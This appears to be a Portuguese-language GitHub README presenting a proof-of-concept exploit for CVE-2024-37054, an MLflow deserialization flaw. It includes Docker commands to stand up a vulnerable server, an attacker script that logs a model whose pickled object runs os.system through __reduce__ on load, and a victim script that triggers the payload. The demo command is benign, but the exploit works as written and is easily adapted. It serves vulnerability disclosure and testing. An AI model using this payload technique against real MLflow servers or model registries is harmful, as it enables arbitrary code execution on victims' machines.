niteeshpujari/cve-2024-37054-mlflow-rceNiteeshPujari/CVE-2024-37054, Este repositório contém uma Prova de Conceito (PoC) de uma vulnerabilidade crítica de desserialização no MLflow que permite Execução Remota de Código (RCE).
__ __ _ _____ _ ___ __ __
| \/ || | | ___|| | / _ \\ \ / /
| |\/| || | | |_ | | | | | |\ \ /\ / /
| | | || |___ | _| | |___| |_| | \ V V /
|_| |_||_____||_| |_____|\___/ \_/\_/
____ ____ _____ ____ ____
| _ \ / ___|| ____| | _ \ ___ / ___|
| |_) || | | _| | |_) |/ _ \ | |
| _ < | |___ | |___ | __/| (_) || |___
|_| \_\ \____||_____| |_| \___/ \____|
Este repositório contém uma Prova de Conceito (PoC) para a CVE-2024-37054, uma vulnerabilidade crítica de desserialização no MLflow que permite Execução Remota de Código (RCE).
CVE-2024-37054mlflow.pyfunc.load_model. Um atacante pode criar um modelo malicioso contendo um payload empacotado (pickle). Quando uma vítima carrega este modelo, o payload é desserializado via cloudpickle.load, levando à execução arbitrária de código na máquina da vítima.0.9.0 até, mas não incluindo, 2.14.2._load_pyfunc dentro de mlflow/pyfunc/model.py.Esta PoC simula dois papéis: um Atacante que envia um modelo malicioso e uma Vítima que o carrega, acionando a RCE.
A maneira mais fácil de configurar um servidor MLflow vulnerável é usando o Dockerfile fornecido.
Construir e Executar o Container Docker:
# 1. Construir a imagem Docker
docker build -t mlflow-vulnerable .
# 2. Executar o container, mapeando a porta 5000 para o host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable
Seu servidor MLflow vulnerável está agora rodando em http://127.0.0.1:5000.
Você precisará de dois terminais separados na sua máquina host. Certifique-se de ter uma versão vulnerável do mlflow instalada localmente (pip install mlflow==2.14.1) para executar os scripts do cliente.
No seu primeiro terminal, execute o script do atacante para registrar o modelo malicioso.
# poc/log_malicious_model.py
import mlflow
import os
# A URI do seu servidor de tracking MLflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
def __init__(self):
class CommandRunner:
def __reduce__(self):
cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
return (os.system, (cmd,))
self.payload = CommandRunner()
def predict(self, context, model_input):
return "This model is a malicious payload."
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
mlflow.set_experiment("Security Demos")
with mlflow.start_run() as run:
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=MaliciousCodeWrapper(),
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Modelo malicioso '{REGISTERED_MODEL_NAME}' foi registrado.")
Execute:
python poc/log_malicious_model.py
No seu segundo terminal, execute o script da vítima para simular o carregamento do modelo comprometido.
# poc/load_vulnerable_model.py
import mlflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
print(f"[*] VÍTIMA: Tentando carregar modelo da URI: {model_uri}")
print("[*] O payload será executado na próxima linha...")
try:
loaded_model = mlflow.pyfunc.load_model(model_uri)
print("\n[*] Modelo carregado com sucesso.")
except Exception as e:
print(f"\n[!] Ocorreu um erro: {e}")
Execute:
python poc/load_vulnerable_model.py
Após executar o script da vítima, você verá a mensagem /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found no terminal, e um novo arquivo chamado pwned.txt será criado no seu diretório. Isso confirma a execução bem-sucedida do comando.
Esta Prova de Conceito foi desenvolvida por Pujari Niteesh.